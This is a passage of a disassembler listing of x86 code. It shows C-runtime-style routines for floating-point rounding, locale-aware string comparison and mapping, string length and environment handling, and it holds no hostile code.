[ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_42D150 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_43051C mov edx, [ebp+var_28] mov ax, word ptr [ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_43051C: ; CODE XREF: sub_4302A0+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_4304A8 ; --------------------------------------------------------------------------- loc_430533: ; CODE XREF: sub_4302A0+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_430479 ; --------------------------------------------------------------------------- loc_430541: ; CODE XREF: sub_4302A0+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_43054E: ; CODE XREF: sub_4302A0+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_43057D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_43057D lea edx, [ebp+var_14] push edx call sub_42D240 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_43054E ; --------------------------------------------------------------------------- loc_43057D: ; CODE XREF: sub_4302A0+2B4j ; sub_4302A0+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_4305DD mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_430591: ; CODE XREF: sub_4302A0+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_4305CC mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_4305B2 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4305B2: ; CODE XREF: sub_4302A0+307j lea eax, [ebp+var_14] push eax call sub_42D2A0 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_430591 ; --------------------------------------------------------------------------- loc_4305CC: ; CODE XREF: sub_4302A0+2F7j cmp [ebp+var_4], 0 jz short loc_4305DD mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_4305DD: ; CODE XREF: sub_4302A0+2E3j ; sub_4302A0+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_4305FD mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_43065E loc_4305FD: ; CODE XREF: sub_4302A0+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_430655 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_43064A mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_43063C mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_430648 ; --------------------------------------------------------------------------- loc_43063C: ; CODE XREF: sub_4302A0+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_430648: ; CODE XREF: sub_4302A0+39Aj jmp short loc_430653 ; --------------------------------------------------------------------------- loc_43064A: ; CODE XREF: sub_4302A0+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_430653: ; CODE XREF: sub_4302A0:loc_430648j jmp short loc_43065E ; --------------------------------------------------------------------------- loc_430655: ; CODE XREF: sub_4302A0+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_43065E: ; CODE XREF: sub_4302A0+35Bj ; sub_4302A0:loc_430653j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_4306A3 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_4306D9 ; --------------------------------------------------------------------------- loc_4306A3: ; CODE XREF: sub_4302A0+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_4306D9: ; CODE XREF: sub_4302A0+EFj ; sub_4302A0+122j ... mov esp, ebp pop ebp retn sub_4302A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4306E0 proc near ; CODE XREF: sub_42D450+914p ; sub_42DFD0+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_444EA0 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_4306FC jmp loc_43079F ; --------------------------------------------------------------------------- loc_4306FC: ; CODE XREF: sub_4306E0+15j cmp [ebp+arg_4], 0 jge short loc_430715 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_445000 sub edx, 60h mov [ebp+var_4], edx loc_430715: ; CODE XREF: sub_4306E0+20j cmp [ebp+arg_8], 0 jnz short loc_430723 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_430723: ; CODE XREF: sub_4306E0+39j ; sub_4306E0+6Aj ... cmp [ebp+arg_4], 0 jz short loc_43079F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_43074C jmp short loc_430723 ; --------------------------------------------------------------------------- loc_43074C: ; CODE XREF: sub_4306E0+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_43078D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_43078D: ; CODE XREF: sub_4306E0+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_4302A0 add esp, 8 jmp short loc_430723 ; --------------------------------------------------------------------------- loc_43079F: ; CODE XREF: sub_4306E0+17j ; sub_4306E0+47j mov esp, ebp pop ebp retn sub_4306E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307B0 proc near ; CODE XREF: sub_42F960+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434EB0 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DB440, 0 jnz short loc_430822 push 0 push 0 push 1 push 0 nop call near ptr 2610000h test eax, eax jz short loc_4307FD mov dword_4DB440, 1 jmp short loc_430822 ; --------------------------------------------------------------------------- loc_4307FD: ; CODE XREF: sub_4307B0+3Fj push 0 push 0 push 1 push 0 nop call near ptr 26F0000h test eax, eax jz short loc_43081B mov dword_4DB440, 2 jmp short loc_430822 ; --------------------------------------------------------------------------- loc_43081B: ; CODE XREF: sub_4307B0+5Dj xor eax, eax jmp loc_430931 ; --------------------------------------------------------------------------- loc_430822: ; CODE XREF: sub_4307B0+2Dj ; sub_4307B0+4Bj ... cmp dword_4DB440, 1 jnz short loc_430846 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2610000h jmp loc_430931 ; --------------------------------------------------------------------------- loc_430846: ; CODE XREF: sub_4307B0+79j cmp dword_4DB440, 2 jnz loc_43092F cmp [ebp+arg_10], 0 jnz short loc_430862 mov ecx, dword_4DB1C8 mov [ebp+arg_10], ecx loc_430862: ; CODE XREF: sub_4307B0+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 26F0000h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_430884 xor eax, eax jmp loc_430931 ; --------------------------------------------------------------------------- loc_430884: ; CODE XREF: sub_4307B0+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4308C4 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4308C4: ; CODE XREF: sub_4307B0+FBj cmp [ebp+var_20], 0 jnz short loc_4308CE xor eax, eax jmp short loc_430931 ; --------------------------------------------------------------------------- loc_4308CE: ; CODE XREF: sub_4307B0+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 26F0000h test eax, eax jnz short loc_4308EC xor eax, eax jmp short loc_430931 ; --------------------------------------------------------------------------- loc_4308EC: ; CODE XREF: sub_4307B0+136j cmp [ebp+arg_C], 0 jnz short loc_43090D push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx call near ptr 2810000h nop mov [ebp+var_24], eax jmp short loc_43092A ; --------------------------------------------------------------------------- loc_43090D: ; CODE XREF: sub_4307B0+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx nop call near ptr 2810000h mov [ebp+var_24], eax loc_43092A: ; CODE XREF: sub_4307B0+15Bj mov eax, [ebp+var_24] jmp short loc_430931 ; --------------------------------------------------------------------------- loc_43092F: ; CODE XREF: sub_4307B0+9Dj xor eax, eax loc_430931: ; CODE XREF: sub_4307B0+6Dj ; sub_4307B0+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4307B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430950 proc near ; CODE XREF: sub_42F960+4Bp ; sub_42F960+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434EC0 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DB444, 0 jnz short loc_4309C2 push 0 push 0 push 1 push 0 call near ptr 2610000h nop test eax, eax jz short loc_43099D mov dword_4DB444, 1 jmp short loc_4309C2 ; --------------------------------------------------------------------------- loc_43099D: ; CODE XREF: sub_430950+3Fj push 0 push 0 push 1 push 0 call near ptr 26F0000h nop test eax, eax jz short loc_4309BB mov dword_4DB444, 2 jmp short loc_4309C2 ; --------------------------------------------------------------------------- loc_4309BB: ; CODE XREF: sub_430950+5Dj xor eax, eax jmp loc_430AE1 ; --------------------------------------------------------------------------- loc_4309C2: ; CODE XREF: sub_430950+2Dj ; sub_430950+4Bj ... cmp dword_4DB444, 2 jnz short loc_4309E6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 26F0000h nop jmp loc_430AE1 ; --------------------------------------------------------------------------- loc_4309E6: ; CODE XREF: sub_430950+79j cmp dword_4DB444, 1 jnz loc_430ADF cmp [ebp+arg_10], 0 jnz short loc_430A02 mov ecx, dword_4DB1C8 mov [ebp+arg_10], ecx loc_430A02: ; CODE XREF: sub_430950+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2610000h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_430A24 xor eax, eax jmp loc_430AE1 ; --------------------------------------------------------------------------- loc_430A24: ; CODE XREF: sub_430950+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_430A66 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_430A66: ; CODE XREF: sub_430950+FDj cmp [ebp+var_20], 0 jnz short loc_430A70 xor eax, eax jmp short loc_430AE1 ; --------------------------------------------------------------------------- loc_430A70: ; CODE XREF: sub_430950+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 2610000h test eax, eax jnz short loc_430A8E xor eax, eax jmp short loc_430AE1 ; --------------------------------------------------------------------------- loc_430A8E: ; CODE XREF: sub_430950+138j cmp [ebp+arg_C], 0 jnz short loc_430AB6 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call near ptr 2710000h nop mov [ebp+var_24], eax jmp short loc_430ADA ; --------------------------------------------------------------------------- loc_430AB6: ; CODE XREF: sub_430950+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx nop call near ptr 2710000h mov [ebp+var_24], eax loc_430ADA: ; CODE XREF: sub_430950+164j mov eax, [ebp+var_24] jmp short loc_430AE1 ; --------------------------------------------------------------------------- loc_430ADF: ; CODE XREF: sub_430950+9Dj xor eax, eax loc_430AE1: ; CODE XREF: sub_430950+6Dj ; sub_430950+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_430950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430B00 proc near ; CODE XREF: sub_4301A0+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434F18 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DB448, 0 jnz short loc_430B86 push 1 push offset dword_434260 push 1 push offset dword_434260 push 0 push 0 nop call near ptr 2600000h test eax, eax jz short loc_430B57 mov dword_4DB448, 1 jmp short loc_430B86 ; --------------------------------------------------------------------------- loc_430B57: ; CODE XREF: sub_430B00+49j push 1 push offset dword_43425C push 1 push offset dword_43425C push 0 push 0 nop call near ptr 2600794h test eax, eax jz short loc_430B7F mov dword_4DB448, 2 jmp short loc_430B86 ; --------------------------------------------------------------------------- loc_430B7F: ; CODE XREF: sub_430B00+71j xor eax, eax jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430B86: ; CODE XREF: sub_430B00+2Dj ; sub_430B00+55j ... cmp [ebp+arg_C], 0 jle short loc_430B9F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_430F00 add esp, 8 mov [ebp+arg_C], eax loc_430B9F: ; CODE XREF: sub_430B00+8Aj cmp [ebp+arg_14], 0 jle short loc_430BB8 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_430F00 add esp, 8 mov [ebp+arg_14], eax loc_430BB8: ; CODE XREF: sub_430B00+A3j cmp dword_4DB448, 2 jnz short loc_430BE4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2600794h jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430BE4: ; CODE XREF: sub_430B00+BFj cmp dword_4DB448, 1 jnz loc_430EE2 cmp [ebp+arg_18], 0 jnz short loc_430C00 mov ecx, dword_4DB1C8 mov [ebp+arg_18], ecx loc_430C00: ; CODE XREF: sub_430B00+F5j cmp [ebp+arg_C], 0 jz short loc_430C10 cmp [ebp+arg_14], 0 jnz loc_430D8C loc_430C10: ; CODE XREF: sub_430B00+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_430C22 mov eax, 2 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430C22: ; CODE XREF: sub_430B00+116j cmp [ebp+arg_14], 1 jle short loc_430C32 mov eax, 1 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430C32: ; CODE XREF: sub_430B00+126j cmp [ebp+arg_C], 1 jle short loc_430C42 mov eax, 3 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430C42: ; CODE XREF: sub_430B00+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx nop call near ptr 28B0000h test eax, eax jnz short loc_430C5B xor eax, eax jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430C5B: ; CODE XREF: sub_430B00+152j ; sub_430B00+198j cmp [ebp+arg_C], 0 jnz short loc_430C67 cmp [ebp+arg_14], 1 jz short loc_430C94 loc_430C67: ; CODE XREF: sub_430B00+15Fj cmp [ebp+arg_C], 1 jnz short loc_430C73 cmp [ebp+arg_14], 0 jz short loc_430C94 loc_430C73: ; CODE XREF: sub_430B00+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset dword_434ECC push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_430C94 int 3 ; Trap to Debugger loc_430C94: ; CODE XREF: sub_430B00+165j ; sub_430B00+171j ... xor edx, edx test edx, edx jnz short loc_430C5B cmp [ebp+arg_C], 0 jle short loc_430D13 cmp [ebp+var_3C], 2 jnb short loc_430CB0 mov eax, 3 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430CB0: ; CODE XREF: sub_430B00+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_430CC1 ; --------------------------------------------------------------------------- loc_430CB8: ; CODE XREF: sub_430B00:loc_430D07j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_430CC1: ; CODE XREF: sub_430B00+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_430D09 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_430D09 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_430D07 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_430D07 mov eax, 2 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430D07: ; CODE XREF: sub_430B00+1E8j ; sub_430B00+1FBj jmp short loc_430CB8 ; --------------------------------------------------------------------------- loc_430D09: ; CODE XREF: sub_430B00+1CAj ; sub_430B00+1D6j mov eax, 3 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430D13: ; CODE XREF: sub_430B00+19Ej cmp [ebp+arg_14], 0 jle short loc_430D8C cmp [ebp+var_3C], 2 jnb short loc_430D29 mov eax, 1 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430D29: ; CODE XREF: sub_430B00+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_430D3A ; --------------------------------------------------------------------------- loc_430D31: ; CODE XREF: sub_430B00:loc_430D80j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_430D3A: ; CODE XREF: sub_430B00+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_430D82 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_430D82 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_430D80 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_430D80 mov eax, 2 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430D80: ; CODE XREF: sub_430B00+261j ; sub_430B00+274j jmp short loc_430D31 ; --------------------------------------------------------------------------- loc_430D82: ; CODE XREF: sub_430B00+243j ; sub_430B00+24Fj mov eax, 1 jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430D8C: ; CODE XREF: sub_430B00+10Aj ; sub_430B00+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax nop call near ptr 2810000h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_430DB4 xor eax, eax jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430DB4: ; CODE XREF: sub_430B00+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_430DF6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_430DF6: ; CODE XREF: sub_430B00+2DDj cmp [ebp+var_24], 0 jnz short loc_430E03 xor eax, eax jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430E03: ; CODE XREF: sub_430B00+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax nop call near ptr 2810000h test eax, eax jnz short loc_430E2A xor eax, eax jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430E2A: ; CODE XREF: sub_430B00+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax call near ptr 2810000h nop mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_430E52 xor eax, eax jmp loc_430EE4 ; --------------------------------------------------------------------------- loc_430E52: ; CODE XREF: sub_430B00+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_430E94 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_430E94: ; CODE XREF: sub_430B00+37Bj cmp [ebp+var_28], 0 jnz short loc_430E9E xor eax, eax jmp short loc_430EE4 ; --------------------------------------------------------------------------- loc_430E9E: ; CODE XREF: sub_430B00+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax nop call near ptr 2810000h test eax, eax jnz short loc_430EC2 xor eax, eax jmp short loc_430EE4 ; --------------------------------------------------------------------------- loc_430EC2: ; CODE XREF: sub_430B00+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2600000h jmp short loc_430EE4 ; --------------------------------------------------------------------------- loc_430EE2: ; CODE XREF: sub_430B00+EBj xor eax, eax loc_430EE4: ; CODE XREF: sub_430B00+81j ; sub_430B00+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_430B00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430F00 proc near ; CODE XREF: sub_430B00+94p ; sub_430B00+ADp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_430F12: ; CODE XREF: sub_430F00+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_430F37 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_430F37 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_430F12 ; --------------------------------------------------------------------------- loc_430F37: ; CODE XREF: sub_430F00+20j ; sub_430F00+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_430F49 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_430F4C ; --------------------------------------------------------------------------- loc_430F49: ; CODE XREF: sub_430F00+3Fj mov eax, [ebp+arg_4] loc_430F4C: ; CODE XREF: sub_430F00+47j mov esp, ebp pop ebp retn sub_430F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430F50 proc near ; CODE XREF: sub_4301F0+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_430F7C push 3Dh mov eax, [ebp+arg_0] push eax call sub_4313A0 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_430F7C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_430F84 loc_430F7C: ; CODE XREF: sub_430F50+Bj ; sub_430F50+22j or eax, 0FFFFFFFFh jmp loc_43122B ; --------------------------------------------------------------------------- loc_430F84: ; CODE XREF: sub_430F50+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, dword_4DB0CC cmp ecx, dword_4DB0D0 jnz short loc_430FB5 mov edx, dword_4DB0CC push edx call sub_4312B0 add esp, 4 mov dword_4DB0CC, eax loc_430FB5: ; CODE XREF: sub_430F50+4Fj cmp dword_4DB0CC, 0 jnz loc_431075 cmp [ebp+arg_4], 0 jz short loc_430FE7 cmp dword_4DB0D4, 0 jz short loc_430FE7 call sub_4301F0 test eax, eax jz short loc_430FE2 or eax, 0FFFFFFFFh jmp loc_43122B ; --------------------------------------------------------------------------- loc_430FE2: ; CODE XREF: sub_430F50+88j jmp loc_431075 ; --------------------------------------------------------------------------- loc_430FE7: ; CODE XREF: sub_430F50+76j ; sub_430F50+7Fj cmp [ebp+var_14], 0 jz short loc_430FF4 xor eax, eax jmp 